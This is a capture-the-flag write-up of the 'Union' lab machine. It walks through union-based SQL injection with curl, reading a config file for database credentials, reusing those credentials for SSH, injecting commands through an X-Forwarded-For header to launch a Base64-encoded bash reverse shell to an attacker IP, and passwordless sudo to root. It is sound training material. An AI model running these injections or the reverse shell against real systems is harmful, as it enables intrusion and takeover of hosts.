Union
6 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.128
- Release: 22 / 11 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.128 -p 80
Nmap scan report for 10.10.11.128
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.12 seconds
This machine has port 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.128
we will see a page like this:
We can try to enter a player name and see that the name is available to compete in the tournament:
Then, we can click on “here” to enter a flag in the following site:
But we have not got any valid flag.
We see that the website is built with PHP. Let’s apply fuzzing with ffuf
adding PHP extensions:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.128/FUZZ -e .php
index.php [Status: 200, Size: 1220, Words: 158, Lines: 43]
css [Status: 301, Size: 178, Words: 6, Lines: 8]
firewall.php [Status: 200, Size: 13, Words: 2, Lines: 1]
config.php [Status: 200, Size: 0, Words: 1, Lines: 1]
challenge.php [Status: 200, Size: 772, Words: 48, Lines: 21]
Foothold
There are some interesting files that will be useful in the future.
Finding SQL injection
The player field is vulnerable to Union-based SQL injection (the name of the machine is actually a hint). To test it, we can use curl
from the command line interface:
$ curl 10.10.11.128/index.php -d 'player=asdf'
Congratulations asdf you may compete in this tournament!
Complete the challenge <a href="/challenge.php">here</a>
$ curl 10.10.11.128/index.php -d "player=asdf'"
Congratulations asdf' you may compete in this tournament!
Complete the challenge <a href="/challenge.php">here</a>
$ curl 10.10.11.128/index.php -d "player=asdf'-- -"
Congratulations asdf'-- - you may compete in this tournament!
Complete the challenge <a href="/challenge.php">here</a>
At first glance, it does not seem to be vulnerable. We can try to enter a UNION SELECT
statement and then we will get a different result:
$ curl 10.10.11.128/index.php -d "player=' union select database() -- -"
Sorry, november you are not eligible due to already qualifying.
$ curl 10.10.11.128/index.php -d "player=' union select version() -- -"
Sorry, 8.0.27-0ubuntu0.20.04.1 you are not eligible due to already qualifying.
$ curl 10.10.11.128/index.php -d "player=' union select user() -- -"
Sorry, uhc@localhost you are not eligible due to already qualifying.
At this point, we can create a program to facilitate the extraction of data using SQL injection. This time, I used a Java program called UnionSQLi.java
that creates an interactive session to enter SQL queries and outputs only the result of the query (detailed explanation here).
Capturing the flag
With this program, we can easily capture the needed flag:
$ rlwrap java UnionSQLi.java
SQLi> select database()
november
SQLi> select group_concat(table_name) from information_schema.tables where table_schema = 'november'
flag,players
SQLi> select group_concat(column_name) from information_schema.columns where table_name = 'flag'
one
SQLi> select one from flag
UHC{F1rst_5tep_2_Qualify}
We can enter the flag in the website, and obtain the following response:
Now, port 22 (SSH) is enabled for our IP address:
$ nmap 10.10.11.128 -p 22
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.11.128
Host is up (0.051s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
Accessing via SSH
However, we don’t know the user and the password to login through SSH.
Using SQLi, we can try to read files from the server. Let’s see if we can find credentials in config.php
:
$ rlwrap java UnionSQLi.java
SQLi> select load_file('/var/www/html/config.php')
<?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Now that we have credentials for MySQL, we can try to reuse them for SSH, and they work:
$ ssh uhc@10.10.11.128
uhc@10.10.11.128's password:
uhc@union:~$ cat user.txt
5875c4d16efbe9165548f9a5157e61ab
Having captured the user.txt
flag, we can enumerate the system. There is nothing more to do as uhc
.
Lateral movement to user www-data
We can continue reading source code from SQLi, or from the SSH session.
Finding a command injection
Looking at firewall.php
we can check how the iptables
rule was applied to enable SSH to a certain IP address:
uhc@union:~$ cd /var/www/html
uhc@union:/var/www/html$ cat firewall.php
<?php
require('config.php');
if (!($_SESSION['Authenticated'])) {
echo "Access Denied";
exit;
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-5">
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
</div>
</section>
We see that it is using a system command with sudo
. The user that executes the server is www-data
, hence this user must have sudo
permissions.
The same line is vulnerable to command injection, since the variable $ip
is being concatenated to the system command. We can have control of the variable if we include an HTTP request header called X-Forwarded-For
.
Using a ;
, adding the command and then putting another ;
or a comment (#
) is enough to exploit the vulnerability. Let’s go directly and enter a reverse shell command encoded in Base64:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Take into account that we need to use a valid cookie to tell the server that we are authenticated:
$ curl 10.10.11.128/firewall.php -H 'X-Forwarded-For: ; echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash #' -H 'Cookie: PHPSESSID=57ti1m6fcai85k3mddqamripr0'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.128.
Ncat: Connection from 10.10.11.128:33092.
bash: cannot set terminal process group (801): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@union:~/html$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@union:~/html$ export TERM=xterm
www-data@union:~/html$ export SHELL=bash
www-data@union:~/html$ stty rows 50 columns 158
Privilege escalation
As shown below, the user www-data
is able to run any command as root
using sudo
and without password:
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
So the privilege escalation is easy:
www-data@union:~/html$ sudo su
root@union:~# cat /root/root.txt
b044d40cc077970a99f680d1e82211b6